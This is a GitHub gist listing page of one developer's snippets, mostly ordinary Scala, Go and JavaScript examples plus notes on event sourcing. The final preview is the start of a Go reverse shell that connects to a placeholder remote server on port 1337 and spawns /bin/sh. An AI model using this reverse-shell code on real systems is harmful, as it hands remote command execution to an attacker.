Skip to content

Instantly share code, notes, and snippets.

@khajavi
khajavi / QuickSort.scala
Created August 5, 2017 10:21
Recursive QuickSort
object QuickSort extends App {
val list = List(3, 5, 7, 1, 4, 9, 44, 2)
println(quickSort(list))
def quickSort(list: List[Int]): List[Int] = {
list match {
case Nil => Nil
case pivot :: tail =>
val (less, greater) = tail.partition(_ < pivot)
quickSort(less) ::: pivot :: quickSort(greater)
/**
* @author Milad Khajavi <[email protected]>.
*/
object FlinkWindowStreaming extends App {
import org.apache.flink.api.scala._
import org.apache.flink.streaming.api.scala.{DataStream, StreamExecutionEnvironment}
import org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer
val sev = StreamExecutionEnvironment.getExecutionEnvironment
val socTextStream = sev.socketTextStream("localhost", 4444)
@khajavi
khajavi / PrettyPrint.scala
Created May 8, 2017 13:05
PrettyPrint Trait
trait PrettyPrint {
/**
* Pretty prints a Scala value similar to its source represention.
* Particularly useful for case classes.
*
* @param a - The value to pretty print.
* @param indentSize - Number of spaces for each indent.
* @param maxElementWidth - Largest element size before wrapping.
* @param depth - Initial depth to pretty print indents.
* @return
@khajavi
khajavi / titles.md
Last active April 19, 2017 08:09
Titles
  • polymorphic association
  • foreign key
  • integrity rule
@khajavi
khajavi / EventProcessing.md
Last active March 27, 2017 07:09
Event Processing

Event Sourcing

  • It's root in Domain Driven Design community
    • Vaughn Vernon: Implementing Domain-Driven Design
  • It isn't a good way to design databases. Instead, we should indivisualy record every change that happen to database.
  • Events are immutable
  • We don't loose historic information
  • storing state:
    • Store raw events (Event Stores)
      • Used by analyst
  • Offline processing
def cross[T](list: Traversable[Traversable[T]]): Traversable[Traversable[T]] =
list match {
case x :: Nil => x map (List(_))
case x :: xs =>
for {
i <- x
j <- cross(xs)
} yield Traversable(i) ++ j
}
@khajavi
khajavi / DuckTypingExample.go
Created December 24, 2016 11:19
Duck Typing Example in Golang
package main
import "fmt"
type Speaker interface {
Say(string)
}
type Person struct {
@khajavi
khajavi / copyTitleAndURLToClipboard.js
Created December 9, 2016 09:39
Copy Titlt and URL in markdown format in clipboard
javascript:(function () {
var text = "[" + document.title + '](' + document.URL + ')';
if (window.clipboardData && window.clipboardData.setData) {
return clipboardData.setData("Text", text);
} else if (document.queryCommandSupported && document.queryCommandSupported("copy")) {
var textarea = document.createElement("textarea");
textarea.textContent = text;
textarea.style.position = "fixed";
@khajavi
khajavi / main.go
Created November 25, 2016 16:00
Hash-Key Message Authentication Code (HMAC)
package main
import (
"crypto/hmac"
"crypto/sha512"
"crypto/md5"
"encoding/base64"
"fmt"
"hash"
)
package main
// Reverse shell
// Test in remote server with nc -l 1337
import"os/exec"
import"net"
func main(){
c,_:=net.Dial("tcp","remoteserverip:1337");
cmd:=exec.Command("/bin/sh");